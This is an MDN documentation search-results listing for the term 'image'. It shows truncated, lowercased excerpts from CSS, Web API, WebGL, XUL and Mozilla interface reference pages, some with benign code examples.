... <image> an <image>, denoted by the <url> or <gradient> data type, or part of the webpage, defined by the element() function, denoting the content to display.
...otherwise, for uri values, the absolute uri; for attr() values, the resulting string; for other keywords, as specified.animation typediscrete formal syntax normal | none | [ <content-replacement> | <content-list> ] [/ <string> ]?where <content-replacement> = <image><content-list> = [ <string> | contents | <image> | <quote> | <target> | <leader()> ]+where <image> = <url> | <image()> | <image-set()> | <element()> | <paint()> | <cross-fade()> | <gradient><quote> = open-quote | close-quote | no-open-quote | no-close-quote<target> = <target-counter()> | <target-counters()> | <target-text()><leader()> = leader( <leader-type> )where <image()> = image( <image-tags>...
...And 10 more matches
mask-border-slice - CSS: Cascading Style Sheets
the mask-border-slice css property divides the image set by mask-border-source into regions.
...tom */ mask-border-slice: 30 30% 45; /* top | right | bottom | left */ mask-border-slice: 7 12 14 5; /* using the `fill` keyword */ mask-border-slice: 10% fill 7 12; /* global values */ mask-border-slice: inherit; mask-border-slice: initial; mask-border-slice: unset; the mask-border-slice property may be specified using one to four <number-percentage> values to represent the position of each image slice.
... values <number> represents an edge offset in pixels for raster images and coordinates for vector images.
...And 10 more matches
Populating the page: how browsers work - Web Performance
if your fonts, images, scripts, ads, and metrics all have different hostnames, a dns lookup will have to be made for each one.
... <!doctype html> <html> <head> <meta charset="utf-8"/> <title>my simple page</title> <link rel="stylesheet" src="styles.css"/> <script src="myscript.js"></script> </head> <body> <h1 class="heading">my page</h1> <p>a paragraph with a <a href="https://example.com/about">link</a></p> <div> <img src="myimage.jpg" alt="image description"/> </div> <script src="anotherscript.js"></script> </body> </html> this response for this initial request contains the first byte of data received.
... when the parser finds non-blocking resources, such as an image, the browser will request those resources and continue parsing.
...And 10 more matches
treecol - Archive of obsolete content
attributes crop, cycler, dragging, editable, fixed, hidden, hideheader, ignoreincolumnpicker, label, primary, sort, sortactive, sortdirection, src, type, width properties accessibletype style classes treecol-image examples this example shows a checkbox in the first column, requires the style below.
...if targeting firefox for mac os x, be sure to use these styles but include your own checkbox image.
... */ list-style-image: none; } treechildren::-moz-tree-checkbox(checked){ /* css for checked cells.
...And 9 more matches
CSS values and units - Learn web development
in the example below i have added a background image to the containing block of our colored boxes.
... images the <image> data type is used wherever an image is a valid value.
... this can be an actual image file pointed to via a url() function, or a gradient.
...And 9 more matches
HTMLCanvasElement.toDataURL() - Web APIs
the htmlcanvaselement.todataurl() method returns a data uri containing a representation of the image in the format specified by the type parameter (defaults to png).
... the returned image is in a resolution of 96 dpi.
... if the requested type is not image/png, but the returned value starts with data:image/png, then the requested type is not supported.
...And 9 more matches
WebGLRenderingContext.getFramebufferAttachmentParameter() - Web APIs
possible values: gl.framebuffer: collection buffer data storage of color, alpha, depth and stencil buffers used to render an image.
...possible values: gl.framebuffer_attachment_object_type: the type which contains the attached image.
... gl.framebuffer_attachment_object_name: the texture or renderbuffer of the attached image (webglrenderbuffer or webgltexture).
...And 9 more matches
WebGL best practices - Web APIs
in practice, effectively all systems support at least the following: max_cube_map_texture_size: 4096 max_renderbuffer_size: 4096 max_texture_size: 4096 max_viewport_dims: [4096,4096] max_vertex_texture_image_units: 4 max_texture_image_units: 8 max_combined_texture_image_units: 8 max_vertex_attribs: 16 max_varying_vectors: 8 max_vertex_uniform_vectors: 128 max_fragment_uniform_vectors: 64 aliased_point_size_range: [1,100] your desktop may support 16k textures, or maybe 16 texture units in the vertex shader, but most other systems don't, and content that works for you will...
... for example, within firefox, the only time glgeterror is checked is after allocations (bufferdata, *teximage*, texstorage*) to pick up any gl_out_of_memory errors.
... another important method for batching is texture atlasing, where multiple images are placed into a single texture, often like a checkerboard.
...And 9 more matches
Fundamentals of WebXR - Web APIs
this includes both managing the process of rendering the views needed to simulate the 3d experience and the ability to sense the movement of the headset or other motion sensing apparatus to provide the needed data to let you update the imagery shown to the user based on that movement.
... <<<--- replace image with an svg for future translation work and consistency --->>> some more advanced headsets provide at least minimal support for translational movement detection, but to capture more substantial movement through the space, external sensors are usually required, such as cameras (either using visible light or infrared).
... virtual reality in a vr environment, the entire image is digitally created by your app or site, from foreground objects all the way to the background or skybox.
...And 9 more matches
-webkit-mask-repeat-x - CSS: Cascading Style Sheets
the -webkit-mask-repeat-x property specifies whether and how a mask image is repeated (tiled) horizontally.
... /* keyword values */ -webkit-mask-repeat-x: repeat; -webkit-mask-repeat-x: no-repeat; -webkit-mask-repeat-x: space; -webkit-mask-repeat-x: round; /* multiple values */ -webkit-mask-repeat-x: repeat, no-repeat, space; /* global values */ -webkit-mask-repeat-x: inherit; -webkit-mask-repeat-x: initial; -webkit-mask-repeat-x: unset; syntax values repeat the mask image is repeated both horizontally and vertically.
... no-repeat the mask image is not repeated; only one copy of the mask image is drawn.
...And 9 more matches
-webkit-mask-repeat-y - CSS: Cascading Style Sheets
the -webkit-mask-repeat-y property sets whether and how a mask image is repeated (tiled) vertically.
... /* keyword values */ -webkit-mask-repeat-y: repeat; -webkit-mask-repeat-y: no-repeat; -webkit-mask-repeat-y: space; -webkit-mask-repeat-y: round; /* multiple values */ -webkit-mask-repeat-y: repeat, no-repeat, space; /* global values */ -webkit-mask-repeat-y: inherit; -webkit-mask-repeat-y: initial; -webkit-mask-repeat-y: unset; syntax values repeat the mask image is repeated vertically.
... no-repeat the mask image is not repeated vertically; only one copy of the mask image is drawn in vertical direction.
...And 9 more matches
element() - CSS: Cascading Style Sheets
WebCSSelement
the element() css function defines an <image> value generated from an arbitrary html element.
... this image is live, meaning that if the html element is changed, the css properties using the resulting value are automatically updated.
... a particularly useful scenario for using this would be to render an image in an html <canvas> element, then use that as a background.
...And 9 more matches
Compiling an Existing C Module to WebAssembly - WebAssembly
get an image from javascript into wasm getting the encoder's version number is great, but encoding an actual image would be more impressive.
... the first question you need to answer is: how do i get the image into wasm?
...luckily, the canvas api has canvasrenderingcontext2d.getimagedata — that gives you an uint8clampedarray containing the image data in rgba: async function loadimage(src) { // load image const imgblob = await fetch(src).then(resp => resp.blob()); const img = await createimagebitmap(imgblob); // make canvas same size as image const canvas = document.createelement('canvas'); canvas.width = img.width; canvas.height = img.height; // draw image onto canvas const ctx = canvas.getcontext('2d'); ctx.drawimage(img, 0, 0); return ctx.getimagedata(0, 0, img.width, img.height); } now it's "only" a matter of copying the data from javascript into wasm.
...And 9 more matches
Adding Toolbars and Toolbar Buttons - Archive of obsolete content
setting the image for a toolbar button is done with css: #xulschoolhello-hello-world-button { list-style-image: url("chrome://xulschoolhello/skin/hello-world.png"); } it's not really that simple to set the image for a toolbar button, because we need to consider the appearance of the button on different systems, and also consider the different button states, but we'll get into that further ahead.
... these are the current icon sets for firefox: windows mac os x (lion and above) mac os x linux (gnome) note: the images above are probably not distributable under the same cc license, unlike the rest of this material.
...the icons in the image are the ones that aren't provided by gtk.
...And 8 more matches
Getting Started - Archive of obsolete content
now all of the css and images are extracted, but if you make some changes and run mozilla as it is, you will not see them because it's still set to look at the files in the jar files.
...this is a catchall directory which holds all of the images and styles for portions of mozilla that don't merit their own individual directory.
...they contain the images/styles for the browser, email client, or html editor.
...And 8 more matches
Simple Example - Archive of obsolete content
in this situation, an rdf container will be used to hold the list of images.
... <?xml version="1.0"?> <rdf:rdf xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:dc="http://purl.org/dc/elements/1.1/"> <rdf:seq rdf:about="http://www.xulplanet.com/rdf/myphotos"> <rdf:li rdf:resource="http://www.xulplanet.com/ndeakin/images/t/palace.jpg"/> <rdf:li rdf:resource="http://www.xulplanet.com/ndeakin/images/t/canal.jpg"/> <rdf:li rdf:resource="http://www.xulplanet.com/ndeakin/images/t/obelisk.jpg"/> </rdf:seq> <rdf:description rdf:about="http://www.xulplanet.com/ndeakin/images/t/palace.jpg" dc:title="palace from above"/> <rdf:description rdf:about="http://www.xulplanet.com/ndeakin/images/t/canal.jpg" dc:title="canal"/> <rdf:description rdf:about="http://www.xulplanet.com/ndeakin/images/t/obelisk.jpg"...
... dc:title="obelisk"/> </rdf:rdf> in this example, we have three images, which can be identified by urls.
...And 8 more matches
Modifying the Default Skin - Archive of obsolete content
skin basics a skin is a set of style sheets, images and behaviors that are applied to a xul file.
...the xul for any skins is the same, however the style sheets and images used are different.
... a skin is described using css, allowing you to define the colors, borders and images used to draw elements.
...And 8 more matches
Lightweight themes
how to create your own lightweight theme lightweight themes are made up of a "header" graphic image file, which skins the default firefox ui background.
... creating a theme header image the header image is displayed as the background of the top of the browser window, nestling in behind the toolbars, address bar, search bar and the tab strip.
... image requirements dimensions should be 3000px wide × 200px high png or jpg file format image must be no larger than 300 kb in file size tips subtle, soft contrast images and gradients work best; highly detailed images will compete with the browser ui.
...And 8 more matches
imgILoader
inherits from: nsisupports last changed in gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5) implemented by @mozilla.org/image/loader;1 as a service: var imgiloader = components.classes["@mozilla.org/image/loader;1"] .getservice(components.interfaces.imgiloader); method overview imgirequest loadimage(in nsiuri auri, in nsiuri ainitialdocumenturl, in nsiuri areferreruri, in nsiprincipal aloadingprincipal, in nsiloadgroup aloadgroup, in imgidecoderobserver aobserver, in nsisupports acx, in nsloadflags aloadflags, in nsisupports cachekey, in imgirequest arequest, in nsichannelpolicy channelpolicy); imgirequest loadimagewithchannel(in nsichannel achannel, in imgidecode...
...robserver aobserver, in nsisupports cx, out nsistreamlistener alistener); boolean supportimagewithmimetype(in string mimetype); constants constant value description load_cors_anonymous 1 << 16 load_cors_use_credentials 1 << 17 methods loadimage() start the load and decode of an image.
... imgirequest loadimage( in nsiuri auri, in nsiuri ainitialdocumenturl, in nsiuri areferreruri, in nsiprincipal aloadingprincipal, in nsiloadgroup aloadgroup, in imgidecoderobserver aobserver, in nsisupports acx, in nsloadflags aloadflags, in nsisupports cachekey, in imgirequest arequest, in nsichannelpolicy channelpolicy ); parameters auri the uri to load.
...And 8 more matches
nsIClipboardCommands
inherits from: nsisupports last changed in gecko 1.7 method overview boolean cancopyimagecontents(); boolean cancopyimagelocation(); boolean cancopylinklocation(); boolean cancopyselection(); boolean cancutselection(); boolean canpaste(); void copyimagecontents(); void copyimagelocation(); void copylinklocation(); void copyselection(); void cutselection(); void paste(); void selectall(); void selectnone(); methods cancopyimagecontents() returns whether we can copy a...
...n image's contents.
... boolean cancopyimagecontents(); parameters none.
...And 8 more matches
nsIFaviconService
s(); void getfavicondata(in nsiuri afaviconuri, out autf8string amimetype, [optional] out unsigned long adatalen, [array,retval,size_is(adatalen)] out octet adata); obsolete since gecko 22.0 astring getfavicondataasdataurl(in nsiuri afaviconuri); obsolete since gecko 22.0 nsiuri getfaviconforpage(in nsiuri apageuri); obsolete since gecko 22.0 nsiuri getfaviconimageforpage(in nsiuri apageuri); obsolete since gecko 22.0 nsiuri getfaviconlinkforicon(in nsiuri afaviconuri); boolean isfailedfavicon(in nsiuri afaviconuri); void removefailedfavicon(in nsiuri afaviconuri); void setandloadfaviconforpage(in nsiuri apageuri, in nsiuri afaviconuri, in boolean aforcereload, in unsigned long afaviconloadtype, [optional] in nsifaviconda...
... getfaviconimageforpage() obsolete since gecko 22.0 (firefox 22.0 / thunderbird 22.0 / seamonkey 2.19) note: this method was removed in gecko 22.0.
...nsiuri getfaviconimageforpage( in nsiuri apageuri ); parameters apageuri uri of the page whose favicon is desired.
...And 8 more matches
Manipulating video using canvas - Web APIs
<!doctype html> <html> <head> <style> body { background: black; color:#cccccc; } #c2 { background-image: url(media/foo.png); background-repeat: no-repeat; } div { float: left; border :1px solid #444444; padding:10px; margin: 10px; background:#3b3b3b; } </style> </head> <body> <div> <video id="video" src="media/video.mp4" controls="true" crossorigin="anonymous"/> </div> <div> <canvas id="c1" width="160...
... canvas c1 is used to display the current frame of the original video, while c2 is used to display the video after performing the chroma-keying effect; c2 is preloaded with the still image that will be used to replace the green background in the video.
... processor.computeframe = function computeframe() { this.ctx1.drawimage(this.video, 0, 0, this.width, this.height); let frame = this.ctx1.getimagedata(0, 0, this.width, this.height); let l = frame.data.length / 4; for (let i = 0; i < l; i++) { let r = frame.data[i * 4 + 0]; let g = frame.data[i * 4 + 1]; let b = frame.data[i * 4 + 2]; if (g > 100 && r > 100 && b < 43) frame.data[i * 4 + 3] = 0; } this.ctx2.putimage...
...And 8 more matches
Recommended Drag Types - Web APIs
dragging images direct image dragging is not common.
... in fact, mozilla does not support direct image dragging on mac or linux.
... instead, images are usually dragged only by their urls.
...And 8 more matches
conic-gradient() - CSS: Cascading Style Sheets
the conic-gradient() css function creates an image consisting of a gradient with color transitions rotated around a center point (rather than radiating from the center).
...the result of the conic-gradient() function is an object of the <gradient> data type, which is a special kind of <image>.
...its concrete size will match the size of the element it applies to, or size of the <image> is set to something other than the element size.
...And 8 more matches
<filter-function> - CSS: Cascading Style Sheets
the <filter-function> css data type represents a graphical effect that can change the appearance of an input image.
... blur() blurs the image.
... brightness() makes the image brighter or darker.
...And 8 more matches
mask-border-source - CSS: Cascading Style Sheets
the mask-border-source css property sets the source image used to create an element's mask border.
... the mask-border-slice property is used to divide the source image into regions, which are then dynamically applied to the final mask border.
... syntax /* keyword value */ mask-border-source: none; /* <image> values */ mask-border-source: url(image.jpg); mask-border-source: linear-gradient(to top, red, yellow); /* global values */ mask-border-source: inherit; mask-border-source: initial; mask-border-source: unset; values none no mask border is used.
...And 8 more matches
HTML documentation index - HTML: Hypertext Markup Language
WebHTMLIndex
2 allowing cross-origin use of images and canvas advanced, cors, canvas, html, image, reference, security, storage, data html provides a crossorigin attribute for images that, in combination with an appropriate cors header, allows images defined by the <img> element that are loaded from foreign origins to be used in a <canvas> as if they had been loaded from the current origin.
... 60 <area> content, element, html, html:flow content, html:phrasing content, multimedia, reference, web the html <area> element defines a hot-spot region on an image, and optionally associates it with a hypertext link.
... 116 <image>: the obsolete image element element, html, html element reference, html reference, html element, non-standard, obsolete, reference the obsolete html image element (<image>) is an obsolete remnant of an ancient version of html lost in the mists of time; use the standard <img> element instead.
...And 8 more matches
Handling media support issues in web content - Web media technologies
using poster frames a poster frame is a still image that's representative of the content of a video.
... this may be simply the first frame of video; however, in many cases, the first frame is blank, or contains nothing but the logo of a business, or some other image that doesn't give the reader any context for the video's contents.
... a good poster frame is one which is either a representative of the video's contents, or is an image which isn't even from the video itself but contains imagery and/or text which gives the reader a useful idea of the video's contents.
...And 8 more matches
MenuItems - Archive of obsolete content
adding icons to menu items an icon may be added to a menu item using the image attribute.
...in addition to the image, a special class "menuitem-iconic" must be used on the menuitem to indicate that an icon is expected.
... <menuitem id="add-bookmark" class="menuitem-iconic" label="add bookmark" image="addbookmark.png"/> as the image appears on a menu item, you will want to ensure you use a fairly small image.
...And 7 more matches
toolbarbutton - Archive of obsolete content
typically, it is expected to have an image.
... attributes accesskey, autocheck, checkstate, checked, command, crop, dir, disabled, dlgtype, group, image, label, oncommand, open, orient, tabindex, title, type, validate properties accesskey, accessibletype, autocheck, checkstate, checked, command, crop, dir, disabled, dlgtype, group, image, label, open, orient, tabindex, type examples <toolbar id="test-toolbar"> <toolbarbutton accesskey="p" label="plain"/> <toolbarbutton accesskey="c" label="checkbox" type="checkbox"/> <toolbarb...
... image type: uri the uri of the image to appear on the element.
...And 7 more matches
Mozilla’s UAAG evaluation report
(p1) vg renders html, css, and a number of graphic image formats.
...(p1) vg alt for img: rendered when images turned off.
...(p3) g alt for img: rendered when images turned off title for *any* element: rendered as tooltip longdesc for img element: in context menu - properties content of object element: ?
...And 7 more matches
Using the CSS Typed Object Model - Web APIs
there are other types available: an <image> will return a cssimagevalue.
...for example, the parameters for a csspositionvalue is one to two cssunitvalues or csskeywordvalues, or one of each: let position = new csspositionvalue( new csskeywordvalue("center"), new cssunitvalue(10, "px")); cssstylevalue the cssstylevalue interface of the the css typed object model api is the base class of all css values accessible through the typed om api, including cssimagevalue, csskeywordvalue, cssnumericvalue, csspositionvalue, csstransformvalue, and cssunparsedvalue.
... ); // 1 console.log( transform[0] ); // cssscale {x: cssunitvalue, y: cssunitvalue, z: cssunitvalue, is2d: true} console.log( transform[0].x ); // cssunitvalue {value: 0.95, unit: "number"} console.log( transform[0].y ); // cssunitvalue {value: 0.95, unit: "number"} console.log( transform[0].z ); // cssunitvalue {value: 1, unit: "number"} console.log( transform.is2d ); // true // cssimagevalue let bgimage = allcomputedstyles.get('background-image'); console.log( bgimage ); // cssimagevalue console.log( bgimage.tostring() ); // url("https://mdn.mozillademos.org/files/16793/magicwand.png") // cssunparsedvalue let unit = allcomputedstyles.get('--unit'); console.log( unit ) // let parsedunit = cssnumericvalue.parse( unit ); console.log( parsedunit ); console.log( parse...
...And 7 more matches
OffscreenCanvas - Web APIs
offscreencanvas.converttoblob() creates a blob object representing the image contained in the canvas.
... offscreencanvas.transfertoimagebitmap() creates an imagebitmap object from the most recently rendered image of the offscreencanvas.
...once a new frame has finished rendering in this context, the transfertoimagebitmap() method can be called to save the most recent rendered image.
...And 7 more matches
PhotoCapabilities - Web APIs
the photocapabilities interface of the the mediastream image capture api provides available configuration options for an attached photographic device.
... a photocapabilities object is retrieved by calling imagecapture.getphotocapabilities().
... photocapabilities.imageheight read only returns a mediasettingsrange object indicating the image height range supported by the user agent.
...And 7 more matches
WebGLRenderingContext.framebufferTexture2D() - Web APIs
possible values: gl.framebuffer: collection buffer data storage of color, alpha, depth and stencil buffers used to render an image.
...possible values: gl.texture_2d: a 2d image.
... gl.texture_cube_map_positive_x: image for the positive x face of the cube.
...And 7 more matches
WebGL constants - Web APIs
useful for rendering hidden-line images, decals, and or solids with highlighted edges.
... generate_mipmap_hint 0x8192 hint for the quality of filtering when generating mipmap images with webglrenderingcontext.generatemipmap().
... max_vertex_uniform_vectors 0x8dfb max_varying_vectors 0x8dfc max_combined_texture_image_units 0x8b4d max_vertex_texture_image_units 0x8b4c max_texture_image_units 0x8872 implementation dependent number of maximum texture units.
...And 7 more matches
Text labels and names - Accessibility
use alt attribute to label area elements that have the href attribute in image maps, give each <area> element an alt attribute containing a name that describes what resources the areas links to.
... failure to do so makes an image map hard to use for users of assistive technology — they need alternative text to be able to understand the purpose of an image.
... examples the following example show a simple image map (taken from h24: providing text alternatives for the area elements of image maps): <img src="welcome.gif" usemap="#map1" alt="areas in the library.
...And 7 more matches
Typical use cases of Flexbox - CSS: Cascading Style Sheets
media objects the media object is a common pattern in web design — this pattern has an image or other element to one side and text to the right.
... ideally a media object should be able to be flipped — moving the image from left to right.
... we see this pattern everywhere, used for comments, and anywhere we need to display images and descriptions.
...And 7 more matches
Grid template areas - CSS: Cascading Style Sheets
this is a component with space for an image or other media on one side and content on the other.
... the image might be displayed on the right or left of the box.
... our grid is a two-column track grid, with the column for the image sized at 1fr and the text 3fr.
...And 7 more matches
background-position-x - CSS: Cascading Style Sheets
the background-position-x css property sets the initial horizontal position for each background image.
... values left aligns the left edge of the background image with the left edge of the background position layer.
... center aligns the center of the background image with the center of the background position layer.
...And 7 more matches
background-position-y - CSS: Cascading Style Sheets
the background-position-y css property sets the initial vertical position for each background image.
... values top aligns the top edge of the background image with the top edge of the background position layer.
... center aligns the vertical center of the background image with the vertical center of the background position layer.
...And 7 more matches
repeating-conic-gradient() - CSS: Cascading Style Sheets
the repeating-conic-gradient() css function creates an image consisting of a repeating gradient (rather than a single gradient) with color transitions rotated around a center point (rather than radiating from the center).
...the result of the repeating-conic-gradient() function is an object of the <gradient> data type, which is a special kind of <image>.
...its concrete size will match the size of the element it applies to, or the size the <image> is set to if it's set to something other than the element's size.
...And 7 more matches
shape-outside - CSS: Cascading Style Sheets
content-box; shape-outside: border-box; shape-outside: padding-box; /* function values */ shape-outside: circle(); shape-outside: ellipse(); shape-outside: inset(10px 10px 10px 10px); shape-outside: polygon(10px 10px, 20px 20px, 30px 30px); shape-outside: path('m0.5,1 c0.5,1,0,0.7,0,0.3 a0.25,0.25,1,1,1,0.5,0.3 a0.25,0.25,1,1,1,1,0.3 c1,0.7,0.5,1,0.5,1 z'); /* <url> value */ shape-outside: url(image.png); /* <gradient> value */ shape-outside: linear-gradient(45deg, rgba(255, 255, 255, 0) 150px, red 150px); /* global values */ shape-outside: initial; shape-outside: inherit; shape-outside: unset; the shape-outside property is specified using the values from the list below, which define the float area for float elements.
... <image> the float area is extracted and computed based on the alpha channel of the specified <image> as defined by shape-image-threshold.
...if this results in network errors such that there is no valid fallback image, the effect is as if the value none had been specified.
...And 7 more matches
Rich-Text Editing in Mozilla - Developer guides
atdoc('backcolor',this[this.selectedindex].value);this.selectedindex=0;"> <option class="heading" selected>- background -</option> <option value="red">red</option> <option value="green">green</option> <option value="black">black</option> </select> </div> <div id="toolbar2"> <img class="intlink" title="clean" onclick="if(validatemode()&&confirm('are you sure?')){odoc.innerhtml=sdeftxt};" src="data:image/gif;base64,r0lgodlhfgawaiqbad04ktrlyzfrjlldzl9vj1dusy14wyodhpwibbsvfy6o7ioxw5qbms+wubcztca0ccs4kddqjdtltmrl1o3yitha7opcsd/f4pfvrvdv8pv5xv///////////////////yh5baekab8alaaaaaawabyaaav84ceozgmeakqubmteyzk547qobcfwtm/jgshq4rhmloxfiehqqsawr+z4iayaj0kegtfolizlwre4ocqwrxototaihmcz0tvgmbqkzhayyfewev14eq8iflhnehmfdqkaiskqci2pdc4qbg+oajc0ewadncogo6anqkkoiqa7" /> <img class="intlink" title="print" onclick=...
..."printdoc();" src="data:image/png;base64,ivborw0kggoaaaansuheugaaabyaaaawcayaaadetgw7aaaabgdbtueaalgpc/xhbqaaaazis0deap8a/wd/ol2nkwaaaalwsflzaaalewaacxmbajqcgaaaaad0su1fb9oebxczfmgboiwaaaaidevydenvbw1lbnqa9sywvwaaaufjrefuomvtlutsjfeux//n3nn0ydpbh1abrpt4lfqtqkc3jrkkneisiiribbehjjpklivo4m1rrmkkjqirmjruqudkpt71qpipirkpaqdf55tv5vvuszjqtjolseukd3xu/3dpzusc/22wtu2wrn+jg5so/ocdh8ycmjdflehmlkjkvk7kuyn+ufza/rtth76zavocdptrxzqtni3mrwupc+6cktlxz/sddp2uu9uxlmyxz6qm8v4tz8lhf1h+zdqxt7s8olmxtbf4e8qafhjj3kbp2mzkkthpitjp9vh6ihia+whtasx5brpwuemgdondf/2a4m7ukds1jw662+xkqtkeuoqjktojm2h53yfl15psj04zc94wdtibr26fxlc2mzrvbccebz2kirfd414tkmlezbvgt33+qcohgha81swysew0r1uzfnylmtpx80pngqq91lwvk2jgvgnfvzg6ycyrat16gftw5kkkfo1eqltfh5q2ett0biwf+aitq4fdbk+imyo1oxvgf03wafjqvbckvdffryetxqiffygazths0zwagd7fg5tnnyntp8/fzvgwjofmgg7g...
...mdsmmbxdlwch2+xozsgbnzsncee4euyv4pwcpswypw0uhdybkswu1nyjendreqtkjwn2+zvttc1vmstb/mvev/weyslasslimcohobjxw+n3ap/sjefnl5gepzmpu4kg7opr1+tofpyuu3becwykcwqcdfmwfkauo90fhkdinbcamvqnymgqueagqwcohbdc1rjv9pild8ibvkz6qyviibqgtjpx4k0xpigezorn1da0cij4vfr0ta3wvbxh/rjdcufv6r2zpgph/e4pxsbcpeatqprjniso203/5s/za171mv8+w1loaaaaaelftksuqmcc"> <img class="intlink" title="undo" onclick="formatdoc('undo');" src="data:image/gif;base64,r0lgodlhfgawaomkadljwlie33morpgjuykl8aezxqpd+7/i19dv3nha7p///////////////////////yh5baekaa8alaaaaaawabyaaarr8mljq7046807tkayejjbnes4eeujvigapwyac0csocq7sdlwjkakca6tomywiargqf3mrqviejkksvlibsfewhdrih4fh/dzmice3/c4nbqbads=" /> <img class="intlink" title="redo" onclick="formatdoc('redo');" src="data:image/gif;base64,r0lgodlhfgawamihab1chdljwl9vj1ie34kl8apd+7/i1////yh5baekaacalaaaaaawabyaa...
...And 7 more matches
Making content editable - Developer guides
atdoc('backcolor',this[this.selectedindex].value);this.selectedindex=0;"> <option class="heading" selected>- background -</option> <option value="red">red</option> <option value="green">green</option> <option value="black">black</option> </select> </div> <div id="toolbar2"> <img class="intlink" title="clean" onclick="if(validatemode()&&confirm('are you sure?')){odoc.innerhtml=sdeftxt};" src="data:image/gif;base64,r0lgodlhfgawaiqbad04ktrlyzfrjlldzl9vj1dusy14wyodhpwibbsvfy6o7ioxw5qbms+wubcztca0ccs4kddqjdtltmrl1o3yitha7opcsd/f4pfvrvdv8pv5xv///////////////////yh5baekab8alaaaaaawabyaaav84ceozgmeakqubmteyzk547qobcfwtm/jgshq4rhmloxfiehqqsawr+z4iayaj0kegtfolizlwre4ocqwrxototaihmcz0tvgmbqkzhayyfewev14eq8iflhnehmfdqkaiskqci2pdc4qbg+oajc0ewadncogo6anqkkoiqa7" /> <img class="intlink" title="print" onclick=...
..."printdoc();" src="data:image/png;base64,ivborw0kggoaaaansuheugaaabyaaaawcayaaadetgw7aaaabgdbtueaalgpc/xhbqaaaazis0deap8a/wd/ol2nkwaaaalwsflzaaalewaacxmbajqcgaaaaad0su1fb9oebxczfmgboiwaaaaidevydenvbw1lbnqa9sywvwaaaufjrefuomvtlutsjfeux//n3nn0ydpbh1abrpt4lfqtqkc3jrkkneisiiribbehjjpklivo4m1rrmkkjqirmjruqudkpt71qpipirkpaqdf55tv5vvuszjqtjolseukd3xu/3dpzusc/22wtu2wrn+jg5so/ocdh8ycmjdflehmlkjkvk7kuyn+ufza/rtth76zavocdptrxzqtni3mrwupc+6cktlxz/sddp2uu9uxlmyxz6qm8v4tz8lhf1h+zdqxt7s8olmxtbf4e8qafhjj3kbp2mzkkthpitjp9vh6ihia+whtasx5brpwuemgdondf/2a4m7ukds1jw662+xkqtkeuoqjktojm2h53yfl15psj04zc94wdtibr26fxlc2mzrvbccebz2kirfd414tkmlezbvgt33+qcohgha81swysew0r1uzfnylmtpx80pngqq91lwvk2jgvgnfvzg6ycyrat16gftw5kkkfo1eqltfh5q2ett0biwf+aitq4fdbk+imyo1oxvgf03wafjqvbckvdffryetxqiffygazths0zwagd7fg5tnnyntp8/fzvgwjofmgg7g...
...mdsmmbxdlwch2+xozsgbnzsncee4euyv4pwcpswypw0uhdybkswu1nyjendreqtkjwn2+zvttc1vmstb/mvev/weyslasslimcohobjxw+n3ap/sjefnl5gepzmpu4kg7opr1+tofpyuu3becwykcwqcdfmwfkauo90fhkdinbcamvqnymgqueagqwcohbdc1rjv9pild8ibvkz6qyviibqgtjpx4k0xpigezorn1da0cij4vfr0ta3wvbxh/rjdcufv6r2zpgph/e4pxsbcpeatqprjniso203/5s/za171mv8+w1loaaaaaelftksuqmcc"> <img class="intlink" title="undo" onclick="formatdoc('undo');" src="data:image/gif;base64,r0lgodlhfgawaomkadljwlie33morpgjuykl8aezxqpd+7/i19dv3nha7p///////////////////////yh5baekaa8alaaaaaawabyaaarr8mljq7046807tkayejjbnes4eeujvigapwyac0csocq7sdlwjkakca6tomywiargqf3mrqviejkksvlibsfewhdrih4fh/dzmice3/c4nbqbads=" /> <img class="intlink" title="redo" onclick="formatdoc('redo');" src="data:image/gif;base64,r0lgodlhfgawamihab1chdljwl9vj1ie34kl8apd+7/i1////yh5baekaacalaaaaaawabyaa...
...And 7 more matches
<feComposite> - SVG: Scalable Vector Graphics
the <fecomposite> svg filter primitive performs the combination of two input images pixel-wise in image space using one of the porter-duff compositing operations: over, in, atop, out, xor, and lighter.
...if the arithmetic operation is chosen, each result pixel is computed using the following formula: result = k1*i1*i2 + k2*i1 + k3*i2 + k4 where: i1 and i2 indicate the corresponding pixel channel values of the input image, which map to in and in2 respectively k1, k2, k3 and k4 indicate the values of the attributes with the same name usage context categoriesfilter primitive elementpermitted contentany number of the following elements, in any order:<animate>, <set> attributes global attributes core attributes » presentation attributes » filter primitive attributes » class style specific attributes ...
... the first set wipes out the background image by flooding with opaque white.
...And 7 more matches
JXON - Archive of obsolete content
conversion snippets now imagine you have this sample xml document: example.xml <?xml version="1.0"?> <!doctype catalog system "catalog.dtd"> <catalog> <product description="cardigan sweater"> <catalog_item gender="men's"> <item_number>qwz5671</item_number> <price>39.95</price> <size description="medium"> <color_swatch image="red_cardigan.jpg">red</color_swatch> <color_swatch image="burgundy_cardigan.jpg">burgundy</color_swatch> </size> <size description="large"> <color_swatch image="red_cardigan.jpg">red</color_swatch> <color_swatch image="burgundy_cardigan.jpg">burgundy</color_swatch> </size> </catalog_item> <catalog_item gender="women's"> <item_number>rrx9856</item_nu...
...mber> <discount_until>dec 25, 1995</discount_until> <price>42.50</price> <size description="medium"> <color_swatch image="black_cardigan.jpg">black</color_swatch> </size> </catalog_item> </product> <script type="text/javascript"><![cdata[function matchwo(a,b) { if (a < b && a < 0) { return 1; } else { return 0; } }]]></script> </catalog> first, create a dom tree like the previous example as described in the how to create a dom tree article.
... with this algorithm our example becomes: { "catalog": { "product": { "catalog_item": [{ "item_number": { "keyvalue": "qwz5671" }, "price": { "keyvalue": 39.95 }, "size": [{ "color_swatch": [{ "keyvalue": "red", "keyattributes": { "image": "red_cardigan.jpg" } }, { "keyvalue": "burgundy", "keyattributes": { "image": "burgundy_cardigan.jpg" } }], "keyvalue": null, "keyattributes": { "description": "medium" } }, { "color_swatch": [{ "keyvalue": "red", "keyattributes": { ...
...And 6 more matches
ContextMenus - Archive of obsolete content
on windows, the context menu can also be opened by pressing the menu key on the keyboard (the key on many keyboards next to control with a menu image) or by pressing shift+f10.
...for example, right clicking on an image might display items pertaining to images, whereas clicking on a link would display items pertaining to links.
...in this example, the triggernode property is checked for a popup attached to a browser to determine whether an image is clicked: <script> function showhideitems(aevent) { // aevent.target is the popup for which the popupshowing event fired.
...And 6 more matches
Adding Buttons - Archive of obsolete content
the button element has two main properties associated with it, a label and an image.
...thus, a button can have a label only, an image only or both a label and an image.
